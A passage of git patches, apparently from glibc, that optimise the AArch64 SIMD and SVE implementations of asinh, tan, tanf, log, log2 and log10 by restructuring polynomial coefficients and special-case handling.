++  .lc1 = 0x1.55555555170d4p-2,
++  .lc2 = V2 (-0x1.0000000399c27p-2),
++  .lc3 = 0x1.999b2e90e94cap-3,
++  .lc4 = -0x1.554e550bd501ep-3,
++  .ln2 = 0x1.62e42fefa39efp-1,
++
++  .off = V2 (0x3fe6900900000000),
++  .huge_bound = V2 (0x5fe0000000000000),
++  .abs_mask = V2 (0x7fffffffffffffff),
++  .mask = V2 (0xfffULL << 52),
+ };
+ 
+ static float64x2_t NOINLINE VPCS_ATTR
+-special_case (float64x2_t x, float64x2_t y, uint64x2_t special)
++special_case (float64x2_t x, float64x2_t y, uint64x2_t abs_mask,
++	      uint64x2_t special)
+ {
++  /* Copy sign.  */
++  y = vbslq_f64 (abs_mask, y, x);
+   return v_call_f64 (asinh, x, y, special);
+ }
+ 
++#define N (1 << V_LOG_TABLE_BITS)
++#define IndexMask (N - 1)
++
+ struct entry
+ {
+   float64x2_t invc;
+@@ -76,27 +106,34 @@ lookup (uint64x2_t i)
+ }
+ 
+ static inline float64x2_t
+-log_inline (float64x2_t x, const struct data *d)
++log_inline (float64x2_t xm, const struct data *d)
+ {
+-  /* Double-precision vector log, copied from ordinary vector log with some
+-     cosmetic modification and special-cases removed.  */
+-  uint64x2_t ix = vreinterpretq_u64_f64 (x);
+-  uint64x2_t tmp = vsubq_u64 (ix, d->off);
+-  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (tmp), 52);
+-  uint64x2_t iz
+-      = vsubq_u64 (ix, vandq_u64 (tmp, vdupq_n_u64 (0xfffULL << 52)));
++
++  uint64x2_t u = vreinterpretq_u64_f64 (xm);
++  uint64x2_t u_off = vsubq_u64 (u, d->off);
++
++  int64x2_t k = vshrq_n_s64 (vreinterpretq_s64_u64 (u_off), 52);
++  uint64x2_t iz = vsubq_u64 (u, vandq_u64 (u_off, d->mask));
+   float64x2_t z = vreinterpretq_f64_u64 (iz);
+-  struct entry e = lookup (tmp);
++
++  struct entry e = lookup (u_off);
++
++  /* log(x) = log1p(z/c-1) + log(c) + k*Ln2.  */
+   float64x2_t r = vfmaq_f64 (v_f64 (-1.0), z, e.invc);
+   float64x2_t kd = vcvtq_f64_s64 (k);
+-  float64x2_t hi = vfmaq_f64 (vaddq_f64 (e.logc, r), kd, d->ln2);
++
++  /* hi = r + log(c) + k*Ln2.  */
++  float64x2_t ln2_and_lc4 = vld1q_f64 (&d->ln2);
++  float64x2_t hi = vfmaq_laneq_f64 (vaddq_f64 (e.logc, r), kd, ln2_and_lc4, 0);
++
++  /* y = r2*(A0 + r*A1 + r2*(A2 + r*A3 + r2*A4)) + hi.  */
++  float64x2_t odd_coeffs = vld1q_f64 (&d->lc1);
+   float64x2_t r2 = vmulq_f64 (r, r);
+-  float64x2_t y = vfmaq_f64 (A (2), A (3), r);
+-  float64x2_t p = vfmaq_f64 (A (0), A (1), r);
+-  y = vfmaq_f64 (y, A (4), r2);
+-  y = vfmaq_f64 (p, y, r2);
+-  y = vfmaq_f64 (hi, y, r2);
+-  return y;
++  float64x2_t y = vfmaq_laneq_f64 (d->lc2, r, odd_coeffs, 1);
++  float64x2_t p = vfmaq_laneq_f64 (d->lc0, r, odd_coeffs, 0);
++  y = vfmaq_laneq_f64 (y, r2, ln2_and_lc4, 1);
++  y = vfmaq_f64 (p, r2, y);
++  return vfmaq_f64 (hi, y, r2);
+ }
+ 
+ /* Double-precision implementation of vector asinh(x).
+@@ -106,23 +143,24 @@ log_inline (float64x2_t x, const struct data *d)
+    asinh(x) = sign(x) * log(|x| + sqrt(x^2 + 1)      if |x| >= 1
+ 	    = sign(x) * (|x| + |x|^3 * P(x^2))       otherwise
+    where log(x) is an optimized log approximation, and P(x) is a polynomial
+-   shared with the scalar routine. The greatest observed error 3.29 ULP, in
++   shared with the scalar routine. The greatest observed error 2.79 ULP, in
+    |x| >= 1:
+-   __v_asinh(0x1.2cd9d717e2c9bp+0) got 0x1.ffffcfd0e234fp-1
+-				  want 0x1.ffffcfd0e2352p-1.  */
++   _ZGVnN2v_asinh(0x1.2cd9d73ea76a6p+0) got 0x1.ffffd003219dap-1
++				       want  0x1.ffffd003219ddp-1.  */
+ VPCS_ATTR float64x2_t V_NAME_D1 (asinh) (float64x2_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-
+   float64x2_t ax = vabsq_f64 (x);
+-  uint64x2_t iax = vreinterpretq_u64_f64 (ax);
+ 
+   uint64x2_t gt1 = vcgeq_f64 (ax, v_f64 (1));
+-  uint64x2_t special = vcgeq_u64 (iax, d->huge_bound);
+ 
+ #if WANT_SIMD_EXCEPT
++  uint64x2_t iax = vreinterpretq_u64_f64 (ax);
++  uint64x2_t special = vcgeq_u64 (iax, (d->huge_bound));
+   uint64x2_t tiny = vcltq_f64 (ax, d->tiny_bound);
+   special = vorrq_u64 (special, tiny);
++#else
++  uint64x2_t special = vcgeq_f64 (ax, vreinterpretq_f64_u64 (d->huge_bound));
+ #endif
+ 
+   /* Option 1: |x| >= 1.
+@@ -147,19 +185,45 @@ VPCS_ATTR float64x2_t V_NAME_D1 (asinh) (float64x2_t x)
+      overflow, and tiny lanes, which will underflow, by setting them to 0. They
+      will be fixed later, either by selecting x or falling back to the scalar
+      special-case. The largest observed error in this region is 1.47 ULPs:
+-     __v_asinh(0x1.fdfcd00cc1e6ap-1) got 0x1.c1d6bf874019bp-1
+-				    want 0x1.c1d6bf874019cp-1.  */
++     _ZGVnN2v_asinh(0x1.fdfcd00cc1e6ap-1) got 0x1.c1d6bf874019bp-1
++					 want 0x1.c1d6bf874019cp-1.  */
+   float64x2_t option_2 = v_f64 (0);
++
+   if (__glibc_likely (v_any_u64 (vceqzq_u64 (gt1))))
+     {
++
+ #if WANT_SIMD_EXCEPT
+       ax = v_zerofy_f64 (ax, vorrq_u64 (tiny, gt1));
+ #endif
+-      float64x2_t x2 = vmulq_f64 (ax, ax), x3 = vmulq_f64 (ax, x2),
+-		  z2 = vmulq_f64 (x2, x2), z4 = vmulq_f64 (z2, z2),
+-		  z8 = vmulq_f64 (z4, z4), z16 = vmulq_f64 (z8, z8);
+-      float64x2_t p = v_estrin_17_f64 (x2, z2, z4, z8, z16, d->poly);
+-      option_2 = vfmaq_f64 (ax, p, x3);
++      float64x2_t x2 = vmulq_f64 (ax, ax), z2 = vmulq_f64 (x2, x2);
++      /* Order-17 Pairwise Horner scheme.  */
++      float64x2_t c13 = vld1q_f64 (&d->c1);
++      float64x2_t c57 = vld1q_f64 (&d->c5);
++      float64x2_t c911 = vld1q_f64 (&d->c9);
++      float64x2_t c1315 = vld1q_f64 (&d->c13);
++
++      float64x2_t p01 = vfmaq_laneq_f64 (d->c0, x2, c13, 0);
++      float64x2_t p23 = vfmaq_laneq_f64 (d->c2, x2, c13, 1);
++      float64x2_t p45 = vfmaq_laneq_f64 (d->c4, x2, c57, 0);
++      float64x2_t p67 = vfmaq_laneq_f64 (d->c6, x2, c57, 1);
++      float64x2_t p89 = vfmaq_laneq_f64 (d->c8, x2, c911, 0);
++      float64x2_t p1011 = vfmaq_laneq_f64 (d->c10, x2, c911, 1);
++      float64x2_t p1213 = vfmaq_laneq_f64 (d->c12, x2, c1315, 0);
++      float64x2_t p1415 = vfmaq_laneq_f64 (d->c14, x2, c1315, 1);
++      float64x2_t p1617 = vfmaq_f64 (d->c16, x2, d->c17);
++
++      float64x2_t p = vfmaq_f64 (p1415, z2, p1617);
++      p = vfmaq_f64 (p1213, z2, p);
++      p = vfmaq_f64 (p1011, z2, p);
++      p = vfmaq_f64 (p89, z2, p);
++
++      p = vfmaq_f64 (p67, z2, p);
++      p = vfmaq_f64 (p45, z2, p);
++
++      p = vfmaq_f64 (p23, z2, p);
++
++      p = vfmaq_f64 (p01, z2, p);
++      option_2 = vfmaq_f64 (ax, p, vmulq_f64 (ax, x2));
+ #if WANT_SIMD_EXCEPT
+       option_2 = vbslq_f64 (tiny, x, option_2);
+ #endif
+@@ -167,10 +231,10 @@ VPCS_ATTR float64x2_t V_NAME_D1 (asinh) (float64x2_t x)
+ 
+   /* Choose the right option for each lane.  */
+   float64x2_t y = vbslq_f64 (gt1, option_1, option_2);
+-  /* Copy sign.  */
+-  y = vbslq_f64 (d->abs_mask, y, x);
+-
+   if (__glibc_unlikely (v_any_u64 (special)))
+-    return special_case (x, y, special);
+-  return y;
++    {
++      return special_case (x, y, d->abs_mask, special);
++    }
++  /* Copy sign.  */
++  return vbslq_f64 (d->abs_mask, y, x);
+ }
+
+commit 5f45c0f91eae99b7d49f5c63b900441eb3491213
+Author: Luna Lamb <luna.lamb@arm.com>
+Date:   Fri Jan 3 19:02:52 2025 +0000
+
+    AArch64: Improve codegen in SVE tans
+    
+    Improves memory access.
+    Tan: MOVPRFX 7 -> 2, LD1RD 12 -> 5, move MOV away from return.
+    Tanf: MOV 2 -> 1, MOVPRFX 6 -> 3, LD1RW 5 -> 4, move mov away from return.
+    
+    (cherry picked from commit aa6609feb20ebf8653db639dabe2a6afc77b02cc)
+
+diff --git a/sysdeps/aarch64/fpu/tan_sve.c b/sysdeps/aarch64/fpu/tan_sve.c
+index b2e4447316..a7318fd417 100644
+--- a/sysdeps/aarch64/fpu/tan_sve.c
++++ b/sysdeps/aarch64/fpu/tan_sve.c
+@@ -22,24 +22,38 @@
+ 
+ static const struct data
+ {
+-  double poly[9];
+-  double half_pi_hi, half_pi_lo, inv_half_pi, range_val, shift;
++  double c2, c4, c6, c8;
++  double poly_1357[4];
++  double c0, inv_half_pi;
++  double half_pi_hi, half_pi_lo, range_val;
+ } data = {
+   /* Polynomial generated with FPMinimax.  */
+-  .poly = { 0x1.5555555555556p-2, 0x1.1111111110a63p-3, 0x1.ba1ba1bb46414p-5,
+-	    0x1.664f47e5b5445p-6, 0x1.226e5e5ecdfa3p-7, 0x1.d6c7ddbf87047p-9,
+-	    0x1.7ea75d05b583ep-10, 0x1.289f22964a03cp-11,
+-	    0x1.4e4fd14147622p-12, },
++  .c2 = 0x1.ba1ba1bb46414p-5,
++  .c4 = 0x1.226e5e5ecdfa3p-7,
++  .c6 = 0x1.7ea75d05b583ep-10,
++  .c8 = 0x1.4e4fd14147622p-12,
++  .poly_1357 = { 0x1.1111111110a63p-3, 0x1.664f47e5b5445p-6,
++		 0x1.d6c7ddbf87047p-9, 0x1.289f22964a03cp-11 },
++  .c0 = 0x1.5555555555556p-2,
++  .inv_half_pi = 0x1.45f306dc9c883p-1,
+   .half_pi_hi = 0x1.921fb54442d18p0,
+   .half_pi_lo = 0x1.1a62633145c07p-54,
+-  .inv_half_pi = 0x1.45f306dc9c883p-1,
+   .range_val = 0x1p23,
+-  .shift = 0x1.8p52,
+ };
+ 
+ static svfloat64_t NOINLINE
+-special_case (svfloat64_t x, svfloat64_t y, svbool_t special)
++special_case (svfloat64_t x, svfloat64_t p, svfloat64_t q, svbool_t pg,
++	      svbool_t special)
+ {
++  svbool_t use_recip = svcmpeq (
++      pg, svand_x (pg, svreinterpret_u64 (svcvt_s64_x (pg, q)), 1), 0);
++
++  svfloat64_t n = svmad_x (pg, p, p, -1);
++  svfloat64_t d = svmul_x (svptrue_b64 (), p, 2);
++  svfloat64_t swap = n;
++  n = svneg_m (n, use_recip, d);
++  d = svsel (use_recip, swap, d);
++  svfloat64_t y = svdiv_x (svnot_z (pg, special), n, d);
+   return sv_call_f64 (tan, x, y, special);
+ }
+ 
+@@ -50,15 +64,10 @@ special_case (svfloat64_t x, svfloat64_t y, svbool_t special)
+ svfloat64_t SV_NAME_D1 (tan) (svfloat64_t x, svbool_t pg)
+ {
+   const struct data *dat = ptr_barrier (&data);
+-
+-  /* Invert condition to catch NaNs and Infs as well as large values.  */
+-  svbool_t special = svnot_z (pg, svaclt (pg, x, dat->range_val));
+-
++  svfloat64_t half_pi_c0 = svld1rq (svptrue_b64 (), &dat->c0);
+   /* q = nearest integer to 2 * x / pi.  */
+-  svfloat64_t shift = sv_f64 (dat->shift);
+-  svfloat64_t q = svmla_x (pg, shift, x, dat->inv_half_pi);
+-  q = svsub_x (pg, q, shift);
+-  svint64_t qi = svcvt_s64_x (pg, q);
++  svfloat64_t q = svmul_lane (x, half_pi_c0, 1);
++  q = svrinta_x (pg, q);
+ 
+   /* Use q to reduce x to r in [-pi/4, pi/4], by:
+      r = x - q * pi/2, in extended precision.  */
+@@ -68,7 +77,7 @@ svfloat64_t SV_NAME_D1 (tan) (svfloat64_t x, svbool_t pg)
+   r = svmls_lane (r, q, half_pi, 1);
+   /* Further reduce r to [-pi/8, pi/8], to be reconstructed using double angle
+      formula.  */
+-  r = svmul_x (pg, r, 0.5);
++  r = svmul_x (svptrue_b64 (), r, 0.5);
+ 
+   /* Approximate tan(r) using order 8 polynomial.
+      tan(x) is odd, so polynomial has the form:
+@@ -76,29 +85,51 @@ svfloat64_t SV_NAME_D1 (tan) (svfloat64_t x, svbool_t pg)
+      Hence we first approximate P(r) = C1 + C2 * r^2 + C3 * r^4 + ...
+      Then compute the approximation by:
+      tan(r) ~= r + r^3 * (C0 + r^2 * P(r)).  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t r4 = svmul_x (pg, r2, r2);
+-  svfloat64_t r8 = svmul_x (pg, r4, r4);
++
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t r4 = svmul_x (svptrue_b64 (), r2, r2);
++  svfloat64_t r8 = svmul_x (svptrue_b64 (), r4, r4);
+   /* Use offset version coeff array by 1 to evaluate from C1 onwards.  */
+-  svfloat64_t p = sv_estrin_7_f64_x (pg, r2, r4, r8, dat->poly + 1);
+-  p = svmad_x (pg, p, r2, dat->poly[0]);
+-  p = svmla_x (pg, r, r2, svmul_x (pg, p, r));
++  svfloat64_t C_24 = svld1rq (svptrue_b64 (), &dat->c2);
++  svfloat64_t C_68 = svld1rq (svptrue_b64 (), &dat->c6);
++
++  /* Use offset version coeff array by 1 to evaluate from C1 onwards.  */
++  svfloat64_t p01 = svmla_lane (sv_f64 (dat->poly_1357[0]), r2, C_24, 0);
++  svfloat64_t p23 = svmla_lane_f64 (sv_f64 (dat->poly_1357[1]), r2, C_24, 1);
++  svfloat64_t p03 = svmla_x (pg, p01, p23, r4);
++
++  svfloat64_t p45 = svmla_lane (sv_f64 (dat->poly_1357[2]), r2, C_68, 0);
++  svfloat64_t p67 = svmla_lane (sv_f64 (dat->poly_1357[3]), r2, C_68, 1);
++  svfloat64_t p47 = svmla_x (pg, p45, p67, r4);
++
++  svfloat64_t p = svmla_x (pg, p03, p47, r8);
++
++  svfloat64_t z = svmul_x (svptrue_b64 (), p, r);
++  z = svmul_x (svptrue_b64 (), r2, z);
++  z = svmla_lane (z, r, half_pi_c0, 0);
++  p = svmla_x (pg, r, r2, z);
+ 
+   /* Recombination uses double-angle formula:
+      tan(2x) = 2 * tan(x) / (1 - (tan(x))^2)
+      and reciprocity around pi/2:
+      tan(x) = 1 / (tan(pi/2 - x))
+      to assemble result using change-of-sign and conditional selection of
+-     numerator/denominator dependent on odd/even-ness of q (hence quadrant).  */
+-  svbool_t use_recip
+-      = svcmpeq (pg, svand_x (pg, svreinterpret_u64 (qi), 1), 0);
++     numerator/denominator dependent on odd/even-ness of q (quadrant).  */
++
++  /* Invert condition to catch NaNs and Infs as well as large values.  */
++  svbool_t special = svnot_z (pg, svaclt (pg, x, dat->range_val));
++
++  if (__glibc_unlikely (svptest_any (pg, special)))
++    {
++      return special_case (x, p, q, pg, special);
++    }
++  svbool_t use_recip = svcmpeq (
++      pg, svand_x (pg, svreinterpret_u64 (svcvt_s64_x (pg, q)), 1), 0);
+ 
+   svfloat64_t n = svmad_x (pg, p, p, -1);
+-  svfloat64_t d = svmul_x (pg, p, 2);
++  svfloat64_t d = svmul_x (svptrue_b64 (), p, 2);
+   svfloat64_t swap = n;
+   n = svneg_m (n, use_recip, d);
+   d = svsel (use_recip, swap, d);
+-  if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svdiv_x (svnot_z (pg, special), n, d), special);
+   return svdiv_x (pg, n, d);
+ }
+diff --git a/sysdeps/aarch64/fpu/tanf_sve.c b/sysdeps/aarch64/fpu/tanf_sve.c
+index f342583241..e850fb4882 100644
+--- a/sysdeps/aarch64/fpu/tanf_sve.c
++++ b/sysdeps/aarch64/fpu/tanf_sve.c
+@@ -60,21 +60,16 @@ svfloat32_t SV_NAME_F1 (tan) (svfloat32_t x, const svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+ 
+-  /* Determine whether input is too large to perform fast regression.  */
+-  svbool_t cmp = svacge (pg, x, d->range_val);
+-
+   svfloat32_t odd_coeffs = svld1rq (svptrue_b32 (), &d->c1);
+   svfloat32_t pi_vals = svld1rq (svptrue_b32 (), &d->pio2_1);
+ 
+   /* n = rint(x/(pi/2)).  */
+-  svfloat32_t q = svmla_lane (sv_f32 (d->shift), x, pi_vals, 3);
+-  svfloat32_t n = svsub_x (pg, q, d->shift);
++  svfloat32_t n = svrintn_x (pg, svmul_lane (x, pi_vals, 3));
+   /* n is already a signed integer, simply convert it.  */
+   svint32_t in = svcvt_s32_x (pg, n);
+   /* Determine if x lives in an interval, where |tan(x)| grows to infinity.  */
+   svint32_t alt = svand_x (pg, in, 1);
+   svbool_t pred_alt = svcmpne (pg, alt, 0);
+-
+   /* r = x - n * (pi/2)  (range reduction into 0 .. pi/4).  */
+   svfloat32_t r;
+   r = svmls_lane (x, n, pi_vals, 0);
+@@ -93,7 +88,7 @@ svfloat32_t SV_NAME_F1 (tan) (svfloat32_t x, const svbool_t pg)
+ 
+   /* Evaluate polynomial approximation of tangent on [-pi/4, pi/4],
+      using Estrin on z^2.  */
+-  svfloat32_t z2 = svmul_x (pg, z, z);
++  svfloat32_t z2 = svmul_x (svptrue_b32 (), r, r);
+   svfloat32_t p01 = svmla_lane (sv_f32 (d->c0), z2, odd_coeffs, 0);
+   svfloat32_t p23 = svmla_lane (sv_f32 (d->c2), z2, odd_coeffs, 1);
+   svfloat32_t p45 = svmla_lane (sv_f32 (d->c4), z2, odd_coeffs, 2);
+@@ -106,13 +101,14 @@ svfloat32_t SV_NAME_F1 (tan) (svfloat32_t x, const svbool_t pg)
+ 
+   svfloat32_t y = svmla_x (pg, z, p, svmul_x (pg, z, z2));
+ 
+-  /* Transform result back, if necessary.  */
+-  svfloat32_t inv_y = svdivr_x (pg, y, 1.0f);
+-
+   /* No need to pass pg to specialcase here since cmp is a strict subset,
+      guaranteed by the cmpge above.  */
++
++  /* Determine whether input is too large to perform fast regression.  */
++  svbool_t cmp = svacge (pg, x, d->range_val);
+   if (__glibc_unlikely (svptest_any (pg, cmp)))
+-    return special_case (x, svsel (pred_alt, inv_y, y), cmp);
++    return special_case (x, svdivr_x (pg, y, 1.0f), cmp);
+ 
++  svfloat32_t inv_y = svdivr_x (pg, y, 1.0f);
+   return svsel (pred_alt, inv_y, y);
+ }
+
+commit ab5ba6c188159bb5e12be95cd90458924c2fe592
+Author: Yat Long Poon <yatlong.poon@arm.com>
+Date:   Fri Jan 3 19:07:30 2025 +0000
+
+    AArch64: Improve codegen for SVE logs
+    
+    Reduce memory access by using lanewise MLA and moving constants to struct
+    and reduce number of MOVPRFXs.
+    Update maximum ULP error for double log_sve from 1 to 2.
+    Speedup on Neoverse V1 for log (3%), log2 (5%), and log10 (4%).
+    
+    (cherry picked from commit 32d193a372feb28f9da247bb7283d404b84429c6)
+
+diff --git a/sysdeps/aarch64/fpu/log10_sve.c b/sysdeps/aarch64/fpu/log10_sve.c
+index ab7362128d..f1cad2759a 100644
+--- a/sysdeps/aarch64/fpu/log10_sve.c
++++ b/sysdeps/aarch64/fpu/log10_sve.c
+@@ -23,28 +23,49 @@
+ #define Min 0x0010000000000000
+ #define Max 0x7ff0000000000000
+ #define Thres 0x7fe0000000000000 /* Max - Min.  */
+-#define Off 0x3fe6900900000000
+ #define N (1 << V_LOG10_TABLE_BITS)
+ 
++static const struct data
++{
++  double c0, c2;
++  double c1, c3;
++  double invln10, log10_2;
++  double c4;
++  uint64_t off;
++} data = {
++  .c0 = -0x1.bcb7b1526e506p-3,
++  .c1 = 0x1.287a7636be1d1p-3,
++  .c2 = -0x1.bcb7b158af938p-4,
++  .c3 = 0x1.63c78734e6d07p-4,
++  .c4 = -0x1.287461742fee4p-4,
++  .invln10 = 0x1.bcb7b1526e50ep-2,
++  .log10_2 = 0x1.34413509f79ffp-2,
++  .off = 0x3fe6900900000000,
++};
++
+ static svfloat64_t NOINLINE
+-special_case (svfloat64_t x, svfloat64_t y, svbool_t special)
++special_case (svfloat64_t hi, svuint64_t tmp, svfloat64_t y, svfloat64_t r2,
++	      svbool_t special, const struct data *d)
+ {
+-  return sv_call_f64 (log10, x, y, special);
++  svfloat64_t x = svreinterpret_f64 (svadd_x (svptrue_b64 (), tmp, d->off));
++  return sv_call_f64 (log10, x, svmla_x (svptrue_b64 (), hi, r2, y), special);
+ }
+ 
+-/* SVE log10 algorithm.
++/* Double-precision SVE log10 routine.
+    Maximum measured error is 2.46 ulps.
+    SV_NAME_D1 (log10)(0x1.131956cd4b627p+0) got 0x1.fffbdf6eaa669p-6
+ 					   want 0x1.fffbdf6eaa667p-6.  */
+ svfloat64_t SV_NAME_D1 (log10) (svfloat64_t x, const svbool_t pg)
+ {
++  const struct data *d = ptr_barrier (&data);
++
+   svuint64_t ix = svreinterpret_u64 (x);
+   svbool_t special = svcmpge (pg, svsub_x (pg, ix, Min), Thres);
+ 
+   /* x = 2^k z; where z is in range [Off,2*Off) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  svuint64_t tmp = svsub_x (pg, ix, Off);
++  svuint64_t tmp = svsub_x (pg, ix, d->off);
+   svuint64_t i = svlsr_x (pg, tmp, 51 - V_LOG10_TABLE_BITS);
+   i = svand_x (pg, i, (N - 1) << 1);
+   svfloat64_t k = svcvt_f64_x (pg, svasr_x (pg, svreinterpret_s64 (tmp), 52));
+@@ -62,15 +83,19 @@ svfloat64_t SV_NAME_D1 (log10) (svfloat64_t x, const svbool_t pg)
+   svfloat64_t r = svmad_x (pg, invc, z, -1.0);
+ 
+   /* hi = log(c) + k*log(2).  */
+-  svfloat64_t w = svmla_x (pg, logc, r, __v_log10_data.invln10);
+-  svfloat64_t hi = svmla_x (pg, w, k, __v_log10_data.log10_2);
++  svfloat64_t invln10_log10_2 = svld1rq_f64 (svptrue_b64 (), &d->invln10);
++  svfloat64_t w = svmla_lane_f64 (logc, r, invln10_log10_2, 0);
++  svfloat64_t hi = svmla_lane_f64 (w, k, invln10_log10_2, 1);
+ 
+   /* y = r2*(A0 + r*A1 + r2*(A2 + r*A3 + r2*A4)) + hi.  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t y = sv_pw_horner_4_f64_x (pg, r, r2, __v_log10_data.poly);
++  svfloat64_t odd_coeffs = svld1rq_f64 (svptrue_b64 (), &d->c1);
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t y = svmla_lane_f64 (sv_f64 (d->c2), r, odd_coeffs, 1);
++  svfloat64_t p = svmla_lane_f64 (sv_f64 (d->c0), r, odd_coeffs, 0);
++  y = svmla_x (pg, y, r2, d->c4);
++  y = svmla_x (pg, p, r2, y);
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmla_x (svnot_z (pg, special), hi, r2, y),
+-			 special);
++    return special_case (hi, tmp, y, r2, special, d);
+   return svmla_x (pg, hi, r2, y);
+ }
+diff --git a/sysdeps/aarch64/fpu/log2_sve.c b/sysdeps/aarch64/fpu/log2_sve.c
+index 743fa2a913..908e638246 100644
+--- a/sysdeps/aarch64/fpu/log2_sve.c
++++ b/sysdeps/aarch64/fpu/log2_sve.c
+@@ -21,15 +21,32 @@
+ #include "poly_sve_f64.h"
+ 
+ #define N (1 << V_LOG2_TABLE_BITS)
+-#define Off 0x3fe6900900000000
+ #define Max (0x7ff0000000000000)
+ #define Min (0x0010000000000000)
+ #define Thresh (0x7fe0000000000000) /* Max - Min.  */
+ 
++static const struct data
++{
++  double c0, c2;
++  double c1, c3;
++  double invln2, c4;
++  uint64_t off;
++} data = {
++  .c0 = -0x1.71547652b83p-1,
++  .c1 = 0x1.ec709dc340953p-2,
++  .c2 = -0x1.71547651c8f35p-2,
++  .c3 = 0x1.2777ebe12dda5p-2,
++  .c4 = -0x1.ec738d616fe26p-3,
++  .invln2 = 0x1.71547652b82fep0,
++  .off = 0x3fe6900900000000,
++};
++
+ static svfloat64_t NOINLINE
+-special_case (svfloat64_t x, svfloat64_t y, svbool_t cmp)
++special_case (svfloat64_t w, svuint64_t tmp, svfloat64_t y, svfloat64_t r2,
++	      svbool_t special, const struct data *d)
+ {
+-  return sv_call_f64 (log2, x, y, cmp);
++  svfloat64_t x = svreinterpret_f64 (svadd_x (svptrue_b64 (), tmp, d->off));
++  return sv_call_f64 (log2, x, svmla_x (svptrue_b64 (), w, r2, y), special);
+ }
+ 
+ /* Double-precision SVE log2 routine.
+@@ -40,13 +57,15 @@ special_case (svfloat64_t x, svfloat64_t y, svbool_t cmp)
+ 					  want 0x1.fffb34198d9ddp-5.  */
+ svfloat64_t SV_NAME_D1 (log2) (svfloat64_t x, const svbool_t pg)
+ {
++  const struct data *d = ptr_barrier (&data);
++
+   svuint64_t ix = svreinterpret_u64 (x);
+   svbool_t special = svcmpge (pg, svsub_x (pg, ix, Min), Thresh);
+ 
+   /* x = 2^k z; where z is in range [Off,2*Off) and exact.
+      The range is split into N subintervals.
+      The ith subinterval contains z and c is near its center.  */
+-  svuint64_t tmp = svsub_x (pg, ix, Off);
++  svuint64_t tmp = svsub_x (pg, ix, d->off);
+   svuint64_t i = svlsr_x (pg, tmp, 51 - V_LOG2_TABLE_BITS);
+   i = svand_x (pg, i, (N - 1) << 1);
+   svfloat64_t k = svcvt_f64_x (pg, svasr_x (pg, svreinterpret_s64 (tmp), 52));
+@@ -59,15 +78,19 @@ svfloat64_t SV_NAME_D1 (log2) (svfloat64_t x, const svbool_t pg)
+ 
+   /* log2(x) = log1p(z/c-1)/log(2) + log2(c) + k.  */
+ 
++  svfloat64_t invln2_and_c4 = svld1rq_f64 (svptrue_b64 (), &d->invln2);
+   svfloat64_t r = svmad_x (pg, invc, z, -1.0);
+-  svfloat64_t w = svmla_x (pg, log2c, r, __v_log2_data.invln2);
+-
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t y = sv_pw_horner_4_f64_x (pg, r, r2, __v_log2_data.poly);
++  svfloat64_t w = svmla_lane_f64 (log2c, r, invln2_and_c4, 0);
+   w = svadd_x (pg, k, w);
+ 
++  svfloat64_t odd_coeffs = svld1rq_f64 (svptrue_b64 (), &d->c1);
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t y = svmla_lane_f64 (sv_f64 (d->c2), r, odd_coeffs, 1);
++  svfloat64_t p = svmla_lane_f64 (sv_f64 (d->c0), r, odd_coeffs, 0);
++  y = svmla_lane_f64 (y, r2, invln2_and_c4, 1);
++  y = svmla_x (pg, p, r2, y);
++
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmla_x (svnot_z (pg, special), w, r2, y),
+-			 special);
++    return special_case (w, tmp, y, r2, special, d);
+   return svmla_x (pg, w, r2, y);
+ }
+diff --git a/sysdeps/aarch64/fpu/log_sve.c b/sysdeps/aarch64/fpu/log_sve.c
+index 9b689f2ec7..044223400b 100644
+--- a/sysdeps/aarch64/fpu/log_sve.c
++++ b/sysdeps/aarch64/fpu/log_sve.c
+@@ -19,39 +19,54 @@
+ 
+ #include "sv_math.h"
+ 
+-#define P(i) sv_f64 (__v_log_data.poly[i])
+ #define N (1 << V_LOG_TABLE_BITS)
+-#define Off (0x3fe6900900000000)
+-#define MaxTop (0x7ff)
+-#define MinTop (0x001)
+-#define ThreshTop (0x7fe) /* MaxTop - MinTop.  */
++#define Max (0x7ff0000000000000)
++#define Min (0x0010000000000000)
++#define Thresh (0x7fe0000000000000) /* Max - Min.  */
++
++static const struct data
++{
++  double c0, c2;
++  double c1, c3;
++  double ln2, c4;
++  uint64_t off;
++} data = {
++  .c0 = -0x1.ffffffffffff7p-2,
++  .c1 = 0x1.55555555170d4p-2,
++  .c2 = -0x1.0000000399c27p-2,
++  .c3 = 0x1.999b2e90e94cap-3,
++  .c4 = -0x1.554e550bd501ep-3,
++  .ln2 = 0x1.62e42fefa39efp-1,
++  .off = 0x3fe6900900000000,
++};
+ 
+ static svfloat64_t NOINLINE
+-special_case (svfloat64_t x, svfloat64_t y, svbool_t cmp)
++special_case (svfloat64_t hi, svuint64_t tmp, svfloat64_t y, svfloat64_t r2,
++	      svbool_t special, const struct data *d)
+ {
+-  return sv_call_f64 (log, x, y, cmp);
++  svfloat64_t x = svreinterpret_f64 (svadd_x (svptrue_b64 (), tmp, d->off));
++  return sv_call_f64 (log, x, svmla_x (svptrue_b64 (), hi, r2, y), special);
+ }
+ 
+-/* SVE port of AdvSIMD log algorithm.
+-   Maximum measured error is 2.17 ulp:
+-   SV_NAME_D1 (log)(0x1.a6129884398a3p+0) got 0x1.ffffff1cca043p-2
+-					 want 0x1.ffffff1cca045p-2.  */
++/* Double-precision SVE log routine.
++   Maximum measured error is 2.64 ulp:
++   SV_NAME_D1 (log)(0x1.95e54bc91a5e2p+184) got 0x1.fffffffe88cacp+6
++					   want 0x1.fffffffe88cafp+6.  */
+ svfloat64_t SV_NAME_D1 (log) (svfloat64_t x, const svbool_t pg)
+ {
++  const struct data *d = ptr_barrier (&data);
++
+   svuint64_t ix = svreinterpret_u64 (x);
+-  svuint64_t top = svlsr_x (pg, ix, 52);
